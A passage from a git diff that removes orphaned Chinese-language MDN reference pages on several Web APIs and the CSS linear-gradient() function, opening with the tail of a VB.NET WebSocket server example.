isClientDisconnected = False - If Not client.isConnected Then - Return True - End If - End Function - - - Function isClientConnected(ByVal client As WebSocket.Client) As Boolean - isClientConnected = False - If client.isConnected Then - Return True - End If - End Function - - - Private Sub PendingCheckTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles PendingCheckTimer.Elapsed - If Pending() Then - RaiseEvent OnClientConnect(Me, New CORE.TypeDef.WebSocket.Client(Me.AcceptTcpClient())) - End If - End Sub - - - Private Sub ClientDataAvailableTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles ClientDataAvailableTimer.Elapsed - Me.ClientCollection.RemoveAll(AddressOf isClientDisconnected) - If Me.ClientCollection.Count < 1 Then ClientDataAvailableTimer.Stop() - - For Each Client As WebSocket.Client In Me.ClientCollection - Client.CheckForDataAvailability() - Next - End Sub - End Class -End Namespace - -Sub Main() 'Program Entry point - Dim thread As System.Threading.Thread = New System.Threading.Thread(AddressOf StartWebSocketServer) - 'Application.Add("WebSocketServerThread", thread) 'Global.asax - context.Application .. I left this part in for web application developers - thread.Start() -End Sub - -Public Shared WebSocketServer As TypeDef.WebSocket.Server -Public Shared Sub StartWebSocketServer() - WebSocketServer = New TypeDef.WebSocket.Server("127.0.0.1", 8000) - WebSocketServer.startServer() -End Sub -</pre> diff --git a/files/zh-cn/orphaned/web/api/window/getattention/index.html b/files/zh-cn/orphaned/web/api/window/getattention/index.html deleted file mode 100644 index 72fddbcc97..0000000000 --- a/files/zh-cn/orphaned/web/api/window/getattention/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Window.getAttention() -slug: orphaned/Web/API/Window/getAttention -translation_of: Web/API/Window/getAttention -original_slug: Web/API/Window/getAttention ---- -<div>{{ ApiRef() }}</div> - -<p>The <code><strong>Window.getAttention()</strong></code> method attempts to get the user's attention. The mechanism for this happening depends on the specific operating system and window manager.</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">window.getAttention(); -</pre> - -<h2 id="Notes">Notes</h2> - -<p>On Windows, the taskbar button for the window flashes, if this hasn't been disabled by the user.</p> - -<p>On Linux, the behaviour varies from window manager to window manager - some flash the taskbar button, others focus the window immediately. This may be configurable as well.</p> - -<p>On Macintosh, the icon in the upper right corner of the desktop flashes.</p> - -<p>The function is disabled for web content. Neither Gecko nor Internet Explorer supports this feature now for web content. <code>getAttention</code> will still work when used from <a href="en/Chrome">chrome</a> in a Gecko application.</p> - -<h2 id="Specification">Specification</h2> - -<p>DOM Level 0. Not part of specification.</p> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.Window.getAttention")}}</p> diff --git a/files/zh-cn/orphaned/web/api/window/ondevicelight/index.html b/files/zh-cn/orphaned/web/api/window/ondevicelight/index.html deleted file mode 100644 index d4e668dc85..0000000000 --- a/files/zh-cn/orphaned/web/api/window/ondevicelight/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Window.ondevicelight -slug: orphaned/Web/API/Window/ondevicelight -tags: - - 实验中 - - 属性 - - 引用 - - 接口 - - 环境光事件 -translation_of: Web/API/Window/ondevicelight -original_slug: Web/API/Window/ondevicelight ---- -<div>{{APIRef}}</div> - -<div>声明一个事件监听用以接收{{event("devicelight")}}事件。事件在设备的光传感器检测到周围环境光的强度发生变化时触发。</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">window.ondevicelight = <var>funcRef</var></pre> - -<p>当{{event("devicelight")}}事件触发时,调用<code><em>funcRef</em></code>函数。这些事件皆为 {{domxref("DeviceLightEvent")}}事件类型。</p> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('AmbientLight', '#event-handlers', 'Ambient Light Events')}}</td> - <td>{{Spec2('AmbientLight')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop("22.0")}}<sup>[1]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android Webview</th> - <th>Chrome for Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatGeckoMobile("15.0")}}<sup>[1]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] 事件{{event("devicelight")}} 的使用最先被实现应用在Android (15.0) 的移动端火狐浏览器和火狐操作系统(B2G)。从 Gecko 22.0 {{geckoRelease("22.0")}}开始,面向Mac OS X 的桌面应用也已实现。目前对Windows 7的支持还在进行中(详见 {{bug(754199)}})。</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{event("devicelight")}}</li> - <li>{{domxref("DeviceLightEvent")}}</li> - <li><a href="/en-US/docs/Web/API/DeviceLightEvent/Using_light_events">Using Light Events</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/window/ondeviceproximity/index.html b/files/zh-cn/orphaned/web/api/window/ondeviceproximity/index.html deleted file mode 100644 index 5a7d414518..0000000000 --- a/files/zh-cn/orphaned/web/api/window/ondeviceproximity/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Window.ondeviceproximity -slug: orphaned/Web/API/Window/ondeviceproximity -translation_of: Web/API/Window/ondeviceproximity -original_slug: Web/API/Window/ondeviceproximity ---- -<p>{{ ApiRef() }}</p> - -<p>指定一个事件监听器来接受 {{event("deviceproximity")}} 事件,当设备传感器检测到一个对象越来越接近或远离设备时这些事件就会出现。</p> - -<h2 id="语法">语法</h2> - -<pre>window.onuserproximity = <em>funcRef</em></pre> - -<p>其中funcRef是在发生 {{event("deviceproximity")}} 事件时要调用的函数。这些事件的类型为{{domxref("DeviceProximityEvent")}}。</p> - -<h2 id="Specifications" name="Specifications">规范</h2> - -<table class="standard-table" style="height: 49px; width: 1000px;"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ SpecName('Proximity Events', '#device-proximity', 'Proximity Events') }}</td> - <td>{{ Spec2('Proximity Events') }}</td> - <td>Initial specification</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatGeckoMobile("15.0") }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{event("deviceproximity")}}</li> - <li>{{domxref("DeviceProximityEvent")}}</li> - <li><a href="/en-US/docs/WebAPI/Proximity" title="/en-US/docs/WebAPI/Proximity">Proximity API</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/window/onuserproximity/index.html b/files/zh-cn/orphaned/web/api/window/onuserproximity/index.html deleted file mode 100644 index 743c8493cc..0000000000 --- a/files/zh-cn/orphaned/web/api/window/onuserproximity/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Window.onuserproximity -slug: orphaned/Web/API/Window/onuserproximity -translation_of: Web/API/Window/onuserproximity -original_slug: Web/API/Window/onuserproximity ---- -<p>{{ ApiRef() }}</p> - -<p><strong><code>Window.onuserproxymity</code></strong> 属性代表一个 {{event("Event_handlers", "event handler")}}, 当触发 {{event("userproximity")}} 事件时会调用这个函数。这些事件是 {{domxref("UserProximityEvent")}} 类型的,在设备传感器检测到对象变得靠近时触发。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><em>window</em>.onuserproximity = <em>eventHandler</em></pre> - -<h2 id="说明">说明</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">说明</th> - <th scope="col">状态</th> - <th scope="col">评论</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ SpecName('Proximity Events', '#user-proximity', 'Proximity Events') }}</td> - <td>{{ Spec2('Proximity Events') }}</td> - <td>Initial specification</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容">浏览器兼容</h2> - -<p>{{Compat("api.Window.onuserproximity")}}</p> - -<h2 id="其他">其他</h2> - -<ul> - <li>{{event("userproximity")}}</li> - <li>{{domxref("UserProximityEvent")}}</li> - <li><a href="/en-US/docs/WebAPI/Proximity" title="/en-US/docs/WebAPI/Proximity">Proximity Events</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/xdomainrequest/index.html b/files/zh-cn/orphaned/web/api/xdomainrequest/index.html deleted file mode 100644 index a9d7eaf905..0000000000 --- a/files/zh-cn/orphaned/web/api/xdomainrequest/index.html +++ /dev/null @@ -1,187 +0,0 @@ ---- -title: XDomainRequest -slug: orphaned/Web/API/XDomainRequest -tags: - - AJAX - - API - - IE - - JavaScript - - Web - - 废弃 - - 微软 - - 非标准 -translation_of: Web/API/XDomainRequest -original_slug: Web/API/XDomainRequest ---- -<p>{{obsolete_header}}</p> - -<p>{{non-standard_header}}</p> - -<h2 id="摘要">摘要</h2> - -<p><span style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;">XDomainRequest是在IE8和IE9上的</span><a href="/en-US/docs/HTTP/Access_control_CORS" style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;">HTTP access control (CORS) </a>的实现,在IE10中被<span style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;"> 包含CORS的</span><a href="/en-US/docs/Web/API/XMLHttpRequest" style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;">XMLHttpRequest </a>取代了,如果你的开发目标是IE10或IE的后续版本,或想要支待其他的浏览器,你需要使用标准的<a href="/en-US/docs/Web/HTTP/Access_control_CORS" style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;">HTTP access control</a>。</p> - -<p>该接口可以发送GET和POST请求</p> - -<h2 id="语法">语法</h2> - -<pre>var xdr = new XDomainRequest();</pre> - -<p>返回<span style="font-family: Consolas,Monaco,'Andale Mono',monospace; font-size: 14.4444446563721px; line-height: 23.3333339691162px;">XDomainRequest的实例,该实例可以被用来生成或管理请求。</span></p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("XDomainRequest.timeout")}}</dt> - <dd>获取或设置请求的过期时间。</dd> - <dt>{{domxref("XDomainRequest.responseText")}}</dt> - <dd>以字符串形式获取响应体。</dd> -</dl> - -<h2 id="方法">方法</h2> - -<dl> - <dt>{{domxref("XDomainRequest.open()")}}</dt> - <dd>根据指定的方法(GET或POST)和URL,打开请求。</dd> - <dt>{{domxref("XDomainRequest.send()")}}</dt> - <dd>发送请求。POST的数据会在该方法中被指定。</dd> - <dt>{{domxref("XDomainRequest.abort()")}}</dt> - <dd>中止请求。</dd> -</dl> - -<h2 id="事件处理程序">事件处理程序</h2> - -<dl> - <dt>{{domxref("XDomainRequest.onprogress")}}</dt> - <dd>当请求中发送方法和onload事件中有进展时的处理程序。</dd> - <dt>{{domxref("XDomainRequest.ontimeout")}}</dt> - <dd>当请求超时时的事件处理程序。</dd> - <dt>{{domxref("XDomainRequest.onerror")}}</dt> - <dd>当请求发生错误时的处理程序。</dd> - <dt>{{domxref("XDomainRequest.onload")}}</dt> - <dd>当服务器端的响应被完整接收时的处理程序。</dd> -</dl> - -<h2 id="例子">例子</h2> - -<pre class="brush: js">if(window.XDomainRequest){ - var xdr = new XDomainRequest(); - - xdr.open("get", "http://example.com/api/method"); - - xdr.onprogress = function () { - //Progress - }; - - xdr.ontimeout = function () { - //Timeout - }; - - xdr.onerror = function () { - //Error Occured - }; - - xdr.onload = function() { - //success(xdr.responseText); - } - - setTimeout(function () { - xdr.send(); - }, 0); -}</pre> - -<div> </div> - -<div class="note"> -<p><strong>注意: </strong>如果多个XDomainRequests同时被发送,一些请求可能会丢失,为避免这种情况,xdr.send()的调用应被包裹在setTimeout方法中(见{{domxref("window.setTimeout()")}})。</p> -</div> - -<h2 id="安全">安全</h2> - -<p><span style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;">XDomainRequest为了确保安全构建,采用了多种方法。</span></p> - -<ul> - <li>安全协议源必须匹配请求的URL。(http到http,https到https)。如果不匹配,请求会报“拒绝访问”的错误。</li> - <li>被请求的URL的服务器必须带有<span style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;"> 设置为(“*”)或包含了请求方的</span><code style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;"><a href="/en-US/docs/Web/HTTP/Access_control_CORS#Access-Control-Allow-Origin" style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;">Access-Control-Allow-Origin</a>的头部。</code></li> -</ul> - -<h2 id="标准">标准</h2> - -<p>该接口及其方法没有遵循标准。</p> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>XDomainRequest</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>8.0-9.x</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>XDomainRequest</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<section id="Quick_Links"> -<ol> - <li data-default-state="open"><a href="#"><strong>Properties</strong></a> - - <ol> - <li>{{domxref("XDomainRequest.timeout")}}</li> - <li>{{domxref("XDomainRequest.responseText")}}</li> - </ol> - </li> - <li data-default-state="open"><a href="#"><strong>Methods</strong></a> - <ol> - <li>{{domxref("XDomainRequest.open()")}}</li> - <li>{{domxref("XDomainRequest.send()")}}</li> - <li>{{domxref("XDomainRequest.abort()")}}</li> - </ol> - </li> - <li data-default-state="open"><a href="#"><strong>Event handlers</strong></a> - <ol> - <li>{{domxref("XDomainRequest.onprogress")}}</li> - <li>{{domxref("XDomainRequest.ontimeout")}}</li> - <li>{{domxref("XDomainRequest.onerror")}}</li> - <li>{{domxref("XDomainRequest.onload")}}</li> - </ol> - </li> -</ol> -</section> diff --git a/files/zh-cn/orphaned/web/api/xmlhttprequest/openrequest/index.html b/files/zh-cn/orphaned/web/api/xmlhttprequest/openrequest/index.html deleted file mode 100644 index 52b110db5b..0000000000 --- a/files/zh-cn/orphaned/web/api/xmlhttprequest/openrequest/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: XMLHttpRequest.openRequest() -slug: orphaned/Web/API/XMLHttpRequest/openRequest -translation_of: Web/API/XMLHttpRequest/openRequest -original_slug: Web/API/XMLHttpRequest/openRequest ---- -<p>{{APIRef("XMLHttpRequest")}}{{non-standard_header}}</p> - -<p>此Mozilla特定的方法仅在特权代码中可用<span class="seoSummary">, 且仅能从C++上下文中调用以初始化 <code>XMLHttpRequest</code>.</span><span class="seoSummary">若想要从JavaScript代码初始化一个request,请使用标准的</span> {{domxref("XMLHttpRequest.open", "open()")}} 方法.</p> diff --git a/files/zh-cn/orphaned/web/api/xmlhttprequestresponsetype/index.html b/files/zh-cn/orphaned/web/api/xmlhttprequestresponsetype/index.html deleted file mode 100644 index 92738971cb..0000000000 --- a/files/zh-cn/orphaned/web/api/xmlhttprequestresponsetype/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: XMLHttpRequestResponseType -slug: orphaned/Web/API/XMLHttpRequestResponseType -translation_of: Web/API/XMLHttpRequestResponseType -original_slug: Web/API/XMLHttpRequestResponseType ---- -<div>{{APIRef("XMLHttpRequest")}}</div> - -<p><span class="seoSummary"><code><strong>XMLHttpRequestResponseType</strong></code> 类型是一个枚举字符串,用于指定包含在一个 {{domxref("XMLHttpRequest")}} 中的 {{domxref("XMLHttpRequest.response", "response")}} 的数据类型。</span>这些值用于获取或设置请求的 {{domxref("XMLHttpRequest.responseType", "responseType")}}。</p> - -<h2 id="取值">取值</h2> - -<dl> - <dt><code>""</code></dt> - <dd><code>responseType</code> 为空字符串时,采用默认类型 {{domxref("DOMString")}},与设置为 <code>text</code> 相同。</dd> - <dt><code>arraybuffer</code></dt> - <dd>{{domxref("XMLHttpRequest.response", "response")}} 是一个包含二进制数据的 JavaScript {{jsxref("ArrayBuffer")}}。</dd> - <dt><code>blob</code></dt> - <dd><code>response</code> 是一个包含二进制数据的 {{domxref("Blob")}} 对象 。</dd> - <dt><code>document</code></dt> - <dd><code>response</code> 是一个 {{Glossary("HTML")}} {{domxref("Document")}} 或 {{Glossary("XML")}} {{domxref("XMLDocument")}},这取决于接收到的数据的 MIME 类型。请参阅 <a href="/zh-CN/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">XMLHttpRequest 中的 HTML</a> 以了解使用 XHR 获取 HTML 内容的更多信息。</dd> - <dt><code>json</code></dt> - <dd><code>response</code> 是一个 JavaScript 对象。这个对象是通过将接收到的数据类型视为 {{Glossary("JSON")}} 解析得到的。</dd> - <dt><code>text</code></dt> - <dd><code>response</code> 是一个以 {{domxref("DOMString")}} 对象表示的文本。</dd> - <dt><code>ms-stream</code> {{non-standard_inline}}</dt> - <dd><code>response</code> 是下载流的一部分;此响应类型仅允许下载请求,并且仅受 Internet Explorer 支持。</dd> -</dl> - -<h2 id="已废弃的值">已废弃的值</h2> - -<dl> - <dt><code>moz-chunked-arraybuffer</code> {{non-standard_inline}}</dt> - <dd> - <p>与<code>"arraybuffer"</code>相似,但是数据会被接收到一个流中。使用此响应类型时,响应中的值仅在 {{event("progress")}} 事件的处理程序中可用,并且只包含上一次响应 <code>progress</code> 事件以后收到的数据,而不是自请求发送以来收到的所有数据。</p> - - <p>在 <code>progress</code> 事件处理时访问 <code>response</code> 将返回到目前为止收到的数据。在 <code>progress</code> 事件处理程序之外访问, <code>response</code> 的值会始终为 <code>null</code> 。</p> - - <p>You shouldn't use this non-standard (and, as of Firefox 68, entirely removed) API; instead, consider using <a href="/zh-CN/docs/Web/API/Streams_API/Using_readable_streams#Consuming_a_fetch_as_a_stream">the Fetch API with readable streams</a>, which offers a standard alternative to accessing the response in a streaming fashion.</p> - </dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">注释</th> - </tr> - <tr> - <td>{{SpecName('XMLHttpRequest')}}</td> - <td>{{Spec2('XMLHttpRequestResponseType')}}</td> - <td>Live standard, latest version</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("api.XMLHttpRequestResponseType")}}</p> - -<h2 id="了解更多">了解更多</h2> - -<ul> - <li><a href="/zh-CN/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">使用 XMLHttpRequest</a></li> - <li><a href="/zh-CN/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">XMLHttpRequest 中的 HTML</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/css/linear-gradient()/index.html b/files/zh-cn/orphaned/web/css/linear-gradient()/index.html deleted file mode 100644 index 5127ea1fa8..0000000000 --- a/files/zh-cn/orphaned/web/css/linear-gradient()/index.html +++ /dev/null @@ -1,442 +0,0 @@ ---- -title: linear-gradient -slug: orphaned/Web/CSS/linear-gradient() -tags: - - Background - - CSS Backgrounds and Borders Module Level 3 - - CSS3 - - W3C - - gradient - - linear-gradient() -translation_of: Web/CSS/linear-gradient() -original_slug: Web/CSS/linear-gradient() ---- -<p>{{CSSRef}}</p> - -<p>CSS <strong><code>linear-gradient()</code></strong> 函数用于创建一个表示两种或多种颜色线性渐变的图片。其结果属于{{cssxref("<gradient>")}}数据类型,是一种特别的{{cssxref("<image>")}}数据类型。</p> - -<pre class="notranslate"><code>/* 渐变轴为45度,从蓝色渐变到红色 */ -linear-gradient(45deg, blue, red); - -/* </code>从右下到左上、从蓝色渐变到红色<code> */ -linear-gradient(to left top, blue, red); - -/* </code>从下到上,从蓝色开始渐变、到高度40%位置是绿色渐变开始、最后以红色结束<code> */ -linear-gradient(0deg, blue, green 40%, red);</code></pre> - -<div>{{EmbedInteractiveExample("pages/css/function-linear-gradient.html")}} </div> - -<p>如同其他gradient函数一般,<strong><code>linear-gradient()</code></strong> 函数<a href="/zh-CN/docs/Web/CSS/image#no_intrinsic">没有内在尺寸</a>;即,它不具备固有的或首选的尺寸,也不具备首选的比率。该函数的具体尺寸将与其适用的元素尺寸匹配。</p> - -<div class="note"><strong>提示:</strong>利用{{cssxref("repeating-linear-gradient")}}函数可以实现线形重复渐变效果。</div> - -<div class="note"><strong>提示:</strong>由于<code><gradient></code>数据类型系<code><image></code>的子数据类型,<code><gradient></code>只能被用于<code><image></code>可以使用的地方。因此,<code>linear-gradient()</code> 并不适用于{{Cssxref("background-color")}}以及类似的使用 {{cssxref("<color>")}}数据类型的属性中。</div> - -<h2 id="线形渐变的构成"><strong>线形渐变的构成</strong></h2> - -<p>线性渐变由一个轴 (梯度线) 定义,其上的每个点具有两种或多种的颜色,且轴上的每个点都具有独立的颜色。为了构建出平滑的渐变,<code>linear-gradient()</code> 函数构建一系列垂直于渐变线的着色线,每一条着色线的颜色则取决于与之垂直相交的渐变线上的色点</p> - -<p><img alt="linear-gradient.png" src="/files/3537/linear-gradient.png" style="float: left; height: 383px; width: 309px;">渐变线由包含渐变图形的容器的中心点和一个角度来定义的。渐变线上的颜色值是由不同的点来定义,包括起始点,终点,以及两者之间的可选的中间点(中间点可以有多个)。</p> - -<p>起始点是渐变线上代表起始颜色值的点。起始点由渐变线和过容器顶点的垂直线之间的交叉点来定义。(垂直线跟渐变线在同一象限内)</p> - -<p>同样的,终点是渐变线上代表最终颜色值的点。终点也是由渐变线和从最近的顶点发出的垂直线之间的交叉点定义的,然而从起始点的对称点来定义终点是更容易理解的一种方式,因为终点是起点关于容器的中心点的反射点。</p> - -<p>关于起点和终点的稍微有些复杂的定义导致了一个有趣的性质,有时候被叫做不可思议的顶点效应:起点附近的点具有跟起点相同的颜色值,终点附近的点具有跟终点相同的颜色值。</p> - -<p>不仅仅只有起点和终点的颜色值可以指定。通过提供额外的颜色中间点,Web开发者可以构建在起始颜色值和终点颜色值之间的自定义更强的过渡效果,另外还可以提供多种颜色值的渐变线。</p> - -<p>当颜色中间点的位置被隐式定义,它被放置在位于它之前的点和位于它之后的点之间的中间位置处。利用{{cssxref("<length>")}}或者{{cssxref("<percentage>")}}数据类型可以显示定义一个位置。</p> - -<pre class="notranslate"><code>linear-gradient(red, orange, yellow, green, blue); -linear-gradient(red 0%, orange 25%, yellow 50%, green 75%, blue 100%);</code>看看 -</pre> - -<p>默认情况下,从一个颜色的终止点平滑的过渡到另一个颜色的终止点,颜色之间的中点是两个颜色颜色转换的中点。你可以将中点移动到这两个颜色之间的任意位置,方法是在两个颜色之间添加未标记的 %,以指示颜色的中转位置。下面的示例是从起始点到10%的位置标记红色,从90%到结束标记蓝色。在10%到90%之间,颜色从红色过渡到蓝色,然而过渡的中点是在30%的标记上,而不是在没有30%中转点的情况下会默认为50%。</p> - -<pre class="notranslate"><code>linear-gradient(red 10%, 30%, blue 90%);</code></pre> - -<p>如果两个或多个颜色终止在同一位置,则在该位置声明的第一个颜色和最后一个颜色之间的过渡将是一条生硬线。</p> - -<p>颜色终止列表中颜色的终止点应该是依次递增的。如果后面的颜色终止点小于前面颜色的终止点则后面的会被覆盖,从而创建一个硬转换。下面的变化是从红色到黄色在40%的位置,然后过渡从黄色到蓝色终止于65%的位置处。</p> - -<pre class="notranslate"><code>linear-gradient(red 40%, yellow 30%, blue 65%);</code></pre> - -<p>允许颜色多个颜色终止位置。通过在CSS声明中包含两个位置,可以将一个颜色声明为两个相邻的颜色终止。以下三个梯度是相等的:</p> - -<pre class="notranslate"><code>linear-gradient(red 0%, orange 10%, orange 30%, yellow 50%, yellow 70%, green 90%, green 100%); -linear-gradient(red, orange 10% 30%, yellow 50% 70%, green 90%); -linear-gradient(red 0%, orange 10% 30%, yellow 50% 70%, green 90% 100%);</code></pre> - -<p>默认情况下,如果不带0%终止的颜色,则在该点声明的第一个颜色。类似地,最后一种颜色将持续到100%标记,或者如果在最后一个没有声明长度,则在100%标记处。</p> - -<h2 id="语法">语法</h2> - -<h3 id="值">值</h3> - -<dl> - <dt><code><side-or-corner></code></dt> - <dd>描述渐变线的起始点位置。它包含to和两个关键词:第一个指出水平位置left or right,第二个指出垂直位置top or bottom。关键词的先后顺序无影响,且都是可选的。<br> - to top, to bottom, to left 和 to right这些值会被转换成角度0度、180度、270度和90度。其余值会被转换为一个以向顶部中央方向为起点顺时针旋转的角度。渐变线的结束点与其起点中心对称。</dd> - <dt><code><angle></code></dt> - <dd>用角度值指定渐变的方向(或角度)。角度顺时针增加。 </dd> - <dt><code><linear-color-stop></code></dt> - <dd>由一个{{cssxref("<color>")}}值组成,并且跟随着一个可选的终点位置(可以是一个百分比值或者是沿着渐变轴的{{cssxref("<length>")}})。CSS渐变的颜色渲染采取了与SVG相同的规则。</dd> -</dl> - -<dl> - <dt><code><color-hint></code></dt> -</dl> - -<p>颜色中转点是一个插值提示,它定义了在相邻颜色之间渐变如何进行。长度定义了在两种颜色之间的哪个点停止渐变颜色应该达到颜色过渡的中点。如果省略,颜色转换的中点是两个颜色停止之间的中点。 </p> - -<dl> - <dt> - <div class="note"><strong>提示:</strong>渲染颜色中间点的规则 <a href="#Gradient_with_multiple_color_stops">color stops in CSS gradients</a>与一致 <a href="/en-US/docs/Web/SVG/Tutorial/Gradients">SVG gradients</a>。</div> - - <h3 id="正式语法">正式语法</h3> - - <pre class="notranslate">linear-gradient( - [ <a href="https://wiki.developer.mozilla.org/en-US/CSS/angle"><angle></a> | to <side-or-corner> ,]? <color-stop-list> ) - \---------------------------------/ \----------------------------/ - Definition of the gradient line List of color stops - -where <side-or-corner> = [ left | right ] || [ top | bottom ] - and <color-stop-list> = [ <linear-color-stop> [, <color-hint>? ]? ]#, <linear-color-stop> - and <linear-color-stop> = <color> [ <color-stop-length> ]? - and <color-stop-length> = [ <percentage> | <length> ]{1,2} - and <color-hint> = [ <percentage> | <length> ] -</pre> - </dt> -</dl> - -<h3 id="语法历史">语法历史</h3> - -<p><code>linear-gradient的语法</code>由2008年实施的<a class="external" href="http://www.webkit.org/blog/175/introducing-css-gradients/" title="http://www.webkit.org/blog/175/introducing-css-gradients/">first Apple proposal</a>发展而来。</p> - -<pre class="notranslate"><code>-webkit-gradient(<type>, <point> [, <radius>]?, <point> [, <radius>]? [, <stop>]*)</code> -</pre> - -<p>在最初语法中,使用同样的语法实现线性渐变和径向渐变。但这两种渐变所需要的参数有所不同,导致了需要增加第一个参数来区分两种渐变。如果再增加渐变类型,这样的处理方式会变得更加复杂。比如锥形渐变,需要用到函数和不规范的CSS值。W3C并未收到相关草案。</p> - -<p>一个替代语法在2009年由Mozilla提出并实现。这个语法需要两个CSS函数,一个用来做线性渐变,另一个用于径向渐变。然而,这个语法并没有被发布产品实现。有人提出了第三种语法,它将线性渐变的语法简化为:</p> - -<pre class="notranslate">-moz-linear-gradient(<code>[ [ [top | bottom] || [left | right] ],]? <color-stop>[, <color-stop>]+);</code> -</pre> - -<p>新的语法不需要<code>to()、</code><code>from()<font face="Open Sans, Arial, sans-serif">和</font></code><code>color-stop()函数,所以这些函数被丢弃。而</code><code>top</code>/<code>bottom</code>与<code>left</code>/<code>right的顺序也被标记为不重要,所以</code>Mozilla移除了必需首先定义<code>top</code>/<code>bottom</code>的限制。</p> - -<p>新的语法仍然有一个缺点:它只允许水平和垂直渐变。在多次变更解决了方向限制的问题之后,它被增加到<a 